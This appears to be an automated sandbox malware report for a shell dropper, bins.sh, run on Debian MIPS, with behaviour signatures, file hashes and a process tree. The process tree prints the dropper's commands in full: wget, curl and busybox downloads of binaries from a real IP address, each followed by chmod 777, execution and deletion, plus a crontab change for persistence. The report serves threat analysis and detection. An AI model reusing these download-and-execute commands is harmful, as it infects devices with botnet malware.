Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    12/11/2024, 12:17

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-pf13hsseqh
  • SHA256 e5f42adb5957dade3d83f8ea86b6fcc8f7a7dd121234f552d062eb48e7b18930
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1786) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:717
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:723
        • /usr/bin/wget
          wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/chmod
          chmod 777 FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          ./FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Executes dropped EXE
          PID:748
        • /bin/rm
          rm FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
            PID:750
          • /usr/bin/wget
            wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:751
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • File and Directory Permissions Modification
            PID:767
          • /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            ./NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Executes dropped EXE
            PID:768
          • /bin/rm
            rm NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
              PID:771
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:773
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:802
            • /bin/chmod
              chmod 777 jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              ./jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
                PID:811
              • /usr/bin/wget
                wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:813
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                ./o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:825
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Writes file to tmp directory
                  PID:840
                • /bin/chmod
                  chmod 777 iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  ./iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Writes file to tmp directory
                    PID:858
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Writes file to tmp directory
                    PID:859
                  • /bin/chmod
                    chmod 777 5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • File and Directory Permissions Modification
                    PID:860
                  • /tmp/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    ./5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                    • Executes dropped EXE
                    PID:861
                  • /bin/rm
                    rm 5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:865
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Writes file to tmp directory
                      PID:866
                    • /bin/chmod
                      chmod 777 jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • File and Directory Permissions Modification
                      PID:867
                    • /tmp/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      ./jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:868
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:870
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:871
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:872
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:873
                        • /bin/rm
                          rm jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                          2⤵
                            PID:875
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/MRqQ6qVYaMwOJHuMuFJEOIYyuswOO7xzqu
                            2⤵
                              PID:878

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                                • Path /tmp/5g2kN2MThmgLGm4eg3itLECHPnFI6tR781
                                • Size 117KB
                                • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
                                • Path /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
                                • Path /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
                                • Size 127KB
                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                                • Path /tmp/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                                • Path /tmp/jCTjkEH4oRJn2LMtEVvG1uRDAqF3qvP85y
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
                                • Path /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                                • Path /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.DENbv5
                                • Path /var/spool/cron/crontabs/tmp.DENbv5
                                • Size 210B
                                • SHA256 a82099d8e5c2a63e77b011cd4a0ca44033a77ed9a5c6526f7748fd5c9bae14f0
                                • MD5 SHA1 SHA512
                                Submit Download